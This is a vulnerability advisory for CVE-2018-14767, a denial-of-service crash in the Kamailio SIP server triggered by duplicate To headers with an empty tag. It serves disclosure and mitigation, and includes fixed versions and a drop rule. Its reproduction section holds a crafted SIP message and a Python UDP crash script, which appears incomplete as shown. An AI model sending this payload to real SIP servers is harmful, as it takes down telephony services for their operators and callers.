Advisory HW-2018-05

Security vulnerability in Kamailio To header processing

kamailio fuzzing it-security

Security vulnerability in Kamailio core related to To header processing, denial of service possible.

Security vulnerability in Kamailio core related to To header processing, denial of service possible.

  • Author: Henning Westerholt
  • Fixed versions: Kamailio v5.1.4 and v5.0.7
  • References: CVE-2018-14767
  • Kamailio Security Advisory: link
  • Tested vulnerable versions: 5.1, 4.0, git master
  • Timeline:
    • Report date: 2018-05-07
    • Kamailio patch: 2018-05-07
    • Kamailio release with patch: 2018-06-05
    • Security advisory: 2018-07-30


There exists a security vulnerability in the Kamailio SIP server related to To header processing. A specially crafted SIP message with double To header and an empty To tag causes a segmentation fault and crashes Kamailio. The reason is missing input validation in the build_res_buf_from_sip_req core function.


Abuse of this vulnerability leads to denial of service in Kamailio. Further research may show that exploitation leads to remote code execution. This vulnerability is rather old and will probably also apply to older versions of Kamailio and maybe even OpenSER.

How to reproduce the issue

The following SIP message with double To headers containing the empty tag can be used to reproduce the vulnerability:

Via: SIP/2.0/UDP;branch=9hG4bKydcnjlpe
To: <@>;tag=
To: <sip:>
Content-Length: 1

You can use this python script to reproduce the crash:

#!/usr/bin/env python
import socket
import sys

for _ in range(2):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect((sys.argv[1], int(sys.argv[2])))

    msg = "REGISTER sip: SIP/2.0\n" \
        "Via: SIP/2.0/UDP;branch=9hG4bKydcnjlpe\n" \
        "To: <@>;tag=\n" \
        "From: \n" \
        "To: <sip:>\n" \
        "Content-Length: 1\n" \
        "\n" \

Run using:

python <ip> <port>

The expected result is a crash in Kamailio.


  • authentication is not required
  • crash happens in the first module that tries to construct a SIP reply caused by the bogus message
  • SIP extension does not need to exist
  • Message can be sent over TCP or UDP

GDB backtrace result

An example for an backtrace caused by this crash in GDB:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:152
152     ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
(gdb) bt
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:152
#1  0x000000000057ac26 in build_res_buf_from_sip_req (code=400, text=0x7ffc94ef0780, new_tag=0x7fe8e82ee250 <sl_tag>, msg=0x7fe8e923ca00, returned_len=0x7ffc94ef07e8, bmark=0x7ffc94ef0790) at core/msg_translator.c:2502
#2  0x00007fe8e80de2ee in sl_reply_helper (msg=0x7fe8e923ca00, code=400, reason=0x7fe8e6a7e85b "Content-Length mis-match", tag=0x0) at sl_funcs.c:168
#3  0x00007fe8e80df4c3 in sl_send_reply (msg=0x7fe8e923ca00, code=400, reason=0x7fe8e6a7e85b "Content-Length mis-match") at sl_funcs.c:304
#4  0x00007fe8e6a6d34f in sanity_reply (msg=0x7fe8e923ca00, code=400, reason=0x7fe8e6a7e85b "Content-Length mis-match") at sanity.c:55
#5  0x00007fe8e6a727b5 in check_cl (_msg=0x7fe8e923ca00) at sanity.c:557
#6  0x00007fe8e6a7c97a in sanity_check (_msg=0x7fe8e923ca00, msg_checks=1511, uri_checks=7) at sanity_mod.c:194
#7  0x00007fe8e6a7cb0a in w_sanity_check (_msg=0x7fe8e923ca00, _number=0x5e7 <error: Cannot access memory at address 0x5e7>, _arg=0x7 <error: Cannot access memory at address 0x7>) at sanity_mod.c:254
#8  0x0000000000439780 in do_action (h=0x7ffc94ef1160, a=0x7fe8e9210960, msg=0x7fe8e923ca00) at core/action.c:1079
#9  0x0000000000445e1d in run_actions (h=0x7ffc94ef1160, a=0x7fe8e9210960, msg=0x7fe8e923ca00) at core/action.c:1565
#10 0x00000000004464fa in run_actions_safe (h=0x7ffc94ef2480, a=0x7fe8e9210960, msg=0x7fe8e923ca00) at core/action.c:1633
#11 0x0000000000646d88 in rval_get_int (h=0x7ffc94ef2480, msg=0x7fe8e923ca00, i=0x7ffc94ef15e8, rv=0x7fe8e9211598, cache=0x0) at core/rvalue.c:912
#12 0x000000000064b31f in rval_expr_eval_int (h=0x7ffc94ef2480, msg=0x7fe8e923ca00, res=0x7ffc94ef15e8, rve=0x7fe8e9211590) at core/rvalue.c:1910
#13 0x000000000064b75d in rval_expr_eval_int (h=0x7ffc94ef2480, msg=0x7fe8e923ca00, res=0x7ffc94ef1a90, rve=0x7fe8e9210d78) at core/rvalue.c:1918
#14 0x0000000000439145 in do_action (h=0x7ffc94ef2480, a=0x7fe8e92121a0, msg=0x7fe8e923ca00) at core/action.c:1043
#15 0x0000000000445e1d in run_actions (h=0x7ffc94ef2480, a=0x7fe8e920cda8, msg=0x7fe8e923ca00) at core/action.c:1565
#16 0x00000000004360c5 in do_action (h=0x7ffc94ef2480, a=0x7fe8e91fb420, msg=0x7fe8e923ca00) at core/action.c:691
#17 0x0000000000445e1d in run_actions (h=0x7ffc94ef2480, a=0x7fe8e91fb420, msg=0x7fe8e923ca00) at core/action.c:1565
#18 0x00000000004465c2 in run_top_route (a=0x7fe8e91fb420, msg=0x7fe8e923ca00, c=0x0) at core/action.c:1654
#19 0x0000000000587d61 in receive_msg (buf=0xa525e0 <buf> "REGISTER sip: SIP/2.0\nVia: SIP/2.0/UDP 172\035\061\067.13.240:5061;rport;branch=\223\071hG4bKydcnjlpe\nMax-Forwards: 69\nTo: <@>;tag=;branch=z9hG4bKya-tag\nFrom: <sip:user@127.0.0.Forwards: 70\nTo: <"..., len=417, rcv_info=0x7ffc94ef2aa0) at core/receive.c:331
#20 0x000000000046ca74 in udp_rcv_loop () at core/udp_server.c:554
#21 0x00000000004253d1 in main_loop () at main.c:1432
#22 0x000000000042d631 in main (argc=16, argv=0x7ffc94ef2fc8) at main.c:2650

This security issue was discovered through extensive SIP message fuzzing with afl and an internal tool-set. More information about this project can be found here.

Solutions and recommendations

Apply the patch from github or make use of a release that includes that patch (e.g. 5.1.4 or 5.0.7). For older Kamailio version and in case you need more time for an update you can add the following logic on top of to your request_route block in your kamailio configuration file. This will drop this malicious message and prevent its processing.

if($(hdr(To)[1]) != $null) {
    xlog("second To header not null - dropping message");

About Henning Westerholt

Henning Westerholt is a core developer of Kamailio since 2007. He provides services for Kamailio and VoIP services in the performance, reliability and security areas.

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The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

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